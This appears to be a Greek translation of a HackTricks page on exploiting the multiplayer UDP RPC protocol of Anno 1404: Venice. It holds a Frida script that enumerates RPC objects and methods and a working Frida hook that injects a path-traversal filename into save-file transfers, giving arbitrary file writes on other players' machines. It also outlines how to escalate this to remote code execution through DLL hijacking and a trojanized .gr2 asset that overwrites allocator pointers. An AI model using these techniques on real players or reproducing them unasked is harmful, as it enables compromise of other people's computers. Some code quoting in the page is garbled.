Προσαρμοσμένο UDP RPC Enumeration & File-Transfer Abuse
Tip
Μάθετε & εξασκηθείτε στο AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Υποστηρίξτε το HackTricks
- Ελέγξτε τα σχέδια συνδρομής!
- Εγγραφείτε στην 💬 ομάδα Discord ή στην ομάδα telegram ή ακολουθήστε μας στο Twitter 🐦 @hacktricks_live.
- Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα HackTricks και HackTricks Cloud github repos.
Χαρτογράφηση ιδιόκτητων αντικειμένων RPC με Frida
Παλαιότεροι τίτλοι multiplayer συχνά ενσωματώνουν αυτοσχέδιες στοίβες RPC πάνω από UDP. Στο Anno 1404: Venice αυτό υλοποιείται μέσα στο NetComEngine3.dll μέσω του dispatcher RMC_CallMessage, ο οποίος αναλύει 5 πεδία από κάθε datagram:
| Field | Purpose |
|---|---|
ID | Ρήμα RPC (16-bit) |
Flags | Τροποποιητές μεταφοράς (reliability, ordering) |
Source | ID αντικειμένου του καλούντος |
TargetObject | Παράδειγμα απομακρυσμένου αντικειμένου |
Method | Δείκτης μεθόδου μέσα στην κλάση-στόχο |
Δύο βοηθητικές συναρτήσεις – ClassToMethodName() και TargetName() – μεταφράζουν τις raw IDs σε human-readable strings για καταγραφή. Με brute-forcing των 24‑bit object IDs και 16‑bit method IDs και καλώντας αυτές τις helper συναρτήσεις μπορούμε να enumerate ολόκληρη την απομακρυσμένα προσβάσιμη επιφάνεια χωρίς traffic captures ή symbol leaks.
Frida surface enumerator (trimmed)
```javascript 'use strict';const classToMethod = Module.getExportByName(‘NetComEngine3.dll’, ‘ClassToMethodName’); const targetName = Module.getExportByName(‘NetComEngine3.dll’, ‘TargetName’);
function tryID(objID, methodID) { const method = new NativeFunction(classToMethod, ‘pointer’, [‘pointer’, ‘uint’]); const target = new NativeFunction(targetName, ‘pointer’, [‘pointer’]); const buf = Memory.alloc(Process.pointerSize); buf.writeU32(objID); const m = method(buf, methodID); if (!m.isNull()) { const t = target(buf); console.log(objID.toString(16), ‘=’, t.readUtf16String()); console.log(’ -’, methodID, ‘=’, m.readUtf16String()); } }
for (let obj = 0; obj < 0x9000000; obj += 0x400000) { for (let meth = 0; meth < 0x40; meth++) { tryID(obj, meth); } }
</details>
Η εκτέλεση του `frida -l explore-surface.js Addon.exe` απέδωσε το πλήρες RPC χάρτη, συμπεριλαμβανομένου του αντικειμένου `Player` (`0x7400000`) και των ρημάτων μεταφοράς αρχείων `OnSendFileInit`, `OnSendFileData`, `OnReceivedFileData` και `OnCancelSendFile`. Η ίδια ροή εργασίας εφαρμόζεται σε οποιοδήποτε binary protocol που εκθέτει εσωτερικά reflection helpers: παρεμβαίνετε στον dispatcher, κάνετε brute-force στα IDs και καταγράφετε ό,τι η engine ήδη γνωρίζει για κάθε callable μέθοδο.
### Συμβουλές
- Χρησιμοποιήστε τους ίδιους buffers καταγραφής της engine (`WString::Format` σε αυτή την περίπτωση) για να αποφύγετε την επανεφαρμογή μη τεκμηριωμένων κωδικοποιήσεων συμβολοσειρών.
- Dump τα `Flags` για να εντοπίσετε χαρακτηριστικά αξιοπιστίας (ACK, resend requests) πριν επιχειρήσετε fuzzing· προσαρμοσμένα UDP stacks συχνά απορρίπτουν σιωπηρά malformed πακέτα.
- Αποθηκεύστε τον καταγεγραμμένο χάρτη — λειτουργεί ως corpus για fuzzing και δείχνει ποια αντικείμενα χειρίζονται το filesystem, την κατάσταση του κόσμου ή το in-game scripting.
## Υπονόμευση RPCs μεταφοράς αρχείων
Ο συγχρονισμός αποθηκεύσεων multiplayer χρησιμοποιούσε χειραψία δύο πακέτων:
1. `OnSendFileInit` — μεταφέρει το UTF‑16 filename που ο client πρέπει να χρησιμοποιήσει όταν αποθηκεύει το εισερχόμενο payload.
2. `OnSendFileData` — μεταδίδει τα raw περιεχόμενα αρχείου σε τμήματα σταθερού μεγέθους.
Επειδή ο server σειριοποιεί το όνομα αρχείου μέσω του `ByteStreamWriteString()` αμέσως πριν το στείλει, ένα Frida hook μπορεί να ανταλλάξει τον pointer σε ένα traversal payload διατηρώντας όμως τα μεγέθη των πακέτων αμετάβλητα.
<details>
<summary>Ανταλλαγή ονόματος αρχείου</summary>
```javascript
const writeStr = ptr('0x1003A250');
const ByteStreamWriteString = new NativeFunction(writeStr, 'pointer', ['pointer', 'pointer']);
const evil = Memory.allocUtf16String('..\\..\\..\\..\\Sauvegarde.sww');
Interceptor.attach(writeStr, {
onEnter(args) {
const src = args[1].readPointer();
const value = src.readUtf16String();
if (value && value.indexOf('Sauvegarde.sww') !== -1) {
args[1].writePointer(evil);
}
}
});
Οι πελάτες-θύματα δεν έκαναν καμία sanitisation και έγραφαν το ληφθέν save σε όποια διαδρομή υπέδειχνε ο εχθρικός host, π.χ. αποθηκεύοντας σε C:\User\user αντί για το προοριζόμενο ...\Savegames\MPShare. Σε εγκαταστάσεις Windows του Anno 1404 ο φάκελος του παιχνιδιού είναι world-writable, οπότε η traversal γίνεται άμεσα ένα primitive αυθαίρετης εγγραφής αρχείων:
- Drop DLLs για classic search-order hijacking στην επόμενη εκκίνηση, ή
- Overwrite asset archives (RDA files) ώστε weaponized models, textures ή scripts να φορτωθούν live κατά τη διάρκεια της ίδιας συνεδρίας.
Άμυνα / επίθεση σε άλλους στόχους
- Ψάξτε για RPC verbs με ονόματα
SendFile,Upload,ShareSave, κ.λπ., και στη συνέχεια παρεμβάλετε τον serialization helper που είναι υπεύθυνος για τα ονόματα αρχείων ή τους προορισμούς φακέλων. - Ακόμη κι αν τα ονόματα αρχείων ελέγχονται ως προς το μήκος, πολλά stacks ξεχνούν να κανονικοποιήσουν τα
..\ή μικτές/vs\ακολουθίες· brute-force όλους τους διαχωριστές. - Όταν ο δέκτης αποθηκεύει αρχεία κάτω από το game install path, ελέγξτε τα ACLs μέσω
icaclsγια να επιβεβαιώσετε αν ένας μη προνομιούχος χρήστης μπορεί να ρίξει κώδικα εκεί.
Μετατροπή του path traversal σε ζωντανή εκτέλεση assets
Μόλις μπορείτε να ανεβάσετε αυθαίρετα bytes, αντικαταστήστε οποιοδήποτε συχνά φορτωμένο asset:
- Unpack the archive. Τα RDA archives είναι DEFLATE-based containers των οποίων τα metadata είναι προαιρετικά XOR-obfuscated με streams seeded από
srand(0xA2C2A). Εργαλεία όπως το RDAExplorer re-pack αρχεία μετά από επεξεργασίες. - Inject a malicious
.gr2. Το trojanized Granny 3D αρχείο περιέχει το relocation exploit που υπεργράφει τοSectionContentArrayκαι, μέσω μιας δύο-σταδίων relocation ακολουθίας, αποκτά μια αυθαίρετη 4-byte εγγραφή μέσα στοgranny2.dll. - Hijack allocator callbacks. Με το ASLR απενεργοποιημένο και το DEP off, η αντικατάσταση των function pointers
malloc/freeστοgranny2.dllαναδρομολογεί την επόμενη κατανομή στη shellcode σας, παρέχοντας άμεσο RCE χωρίς να περιμένετε τον χρήστη να επανεκκινήσει το παιχνίδι.
Αυτό το pattern γενικεύεται σε οποιονδήποτε τίτλο που streams δομημένα assets από binary archives: συνδυάστε RPC-level traversal για την παράδοση και unsafe relocation processing για εκτέλεση κώδικα.
Αναφορές
Tip
Μάθετε & εξασκηθείτε στο AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Υποστηρίξτε το HackTricks
- Ελέγξτε τα σχέδια συνδρομής!
- Εγγραφείτε στην 💬 ομάδα Discord ή στην ομάδα telegram ή ακολουθήστε μας στο Twitter 🐦 @hacktricks_live.
- Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα HackTricks και HackTricks Cloud github repos.


